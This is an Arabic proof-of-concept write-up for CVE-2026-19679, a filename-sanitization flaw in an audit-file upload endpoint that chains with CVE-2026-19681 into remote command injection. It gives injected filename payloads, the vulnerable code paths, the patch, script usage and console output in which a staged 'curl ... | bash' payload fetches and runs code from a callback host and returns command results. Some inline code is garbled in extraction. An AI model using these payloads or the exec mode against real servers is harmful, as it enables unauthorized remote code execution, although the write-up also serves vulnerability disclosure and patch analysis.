
استغلال إثبات المفهوم لـ CVE-2026-19679، وهي ثغرة في عدم كفاية تنظيف اسم الملف في رفع audit-file تؤدي إلى حقن الأوامر. يتضمن استطلاع الإصدار التفاضلي ووضع exec لتنفيذ الأوامر عن بُعد.

الحالة: مؤكَّدة على بيئة اختبار 6.7.2-14.el9 (2026-08-20). أعاد POST /rest/auditFile مع
tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" استجابة HTTP 200 وأدى إلى
تسجيل AuditFile #1000002 — اسم الملف الحاوي على محارف شل خاصة اجتاز التحقق وتم
تخزينه عبر كامل السلسلة. في الإصدار 6.9.0 يُرفض الطلب نفسه برسالة
"Invalid tailoring filename.".
يتم التحقق من معاملات رفع ملف التدقيق (filename, tailoringFilename,
tailoringOriginalFilename) باستخدام
()، الذي يفحص ثلاثة أمور فقط: ألا يكون الحقل فارغًا، وألا يحتوي على
(المساواة عبر )، وأن الملف المُرحَّل مؤقتًا موجود. — فالمحارف و وعلامات الاقتباس الخلفية و والمسافات تمرّ دون أي تعديل.
PARAM_FILENAMEUtility::validateParams()/basename();$()${IFS}ثم تتدفق هذه الأسماء إلى:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —
AuditFileLib.php:2307 (يتم إنشاء ملف يحتوي اسمه على محارف خاصة عشوائية)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") حيث إن $tmpZipFile غير المُهرَّب مشتق من معامل
filename المُرسَل من العميل — وهو حقن الأوامر اللاحق الموثق في CVE-2026-19681.حدود تم التحقق منها مخبريًا: اجتياز المسار ليس جزءًا من الخلل قبل 6.9 — فكلا معاملي
التخصيص يرفضان / (الخطأ 146 Invalid syntax for attribute ... عند إرسال حمولة ../).
الجزء المفقود هو مرشح مجموعة المحارف تحديدًا، وهذا ما يعنيه نص CVE بعبارة
"قد يسهم في حقن أوامر في مرحلة لاحقة."
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
إضافة إلى تطبيق basename() على الاسمين وescapeshellarg() على معاملات ملف الـzip.
فحص تفاضلي بين الإصدارات — طلب واحد بنتائج متعاكسة لكل إصدار:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename."ملاحظات تشغيلية (جميعها تم التحقق منها مخبريًا):
/rest/file/upload (multipart Filedata وحقل context في النموذج)context=auditFile تشغّل
فحص المحتوى على الأرشيف (الخطأ 107 مع ملف zip تجريبي)type=scapLinux|scapWindows وversion=1.2 وbenchmarkName
وdataStreamName19679 هو فجوة التحقق؛ و19681 هو نقطة التنفيذ (exec sink). مسار الرفع نفسه يُفعِّل
الاثنين معًا: 19681 يزرع محارف خاصة في filename المُرحَّل مؤقتًا (عبر بادئة context
في الرفع) ويُطلقها عبر $tmpZipFile غير المُهرَّب؛ بينما يُظهر 19679 أن المعاملات
الشقيقة تقبل نفس صنف المحارف حتى الوصول إلى (والدخول في) نص الأمر نفسه.
يصلح الإصدار 6.9.0 الجانبين في منطقة تعديل واحدة: مجموعة المحارف + basename + escapeshellarg.
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux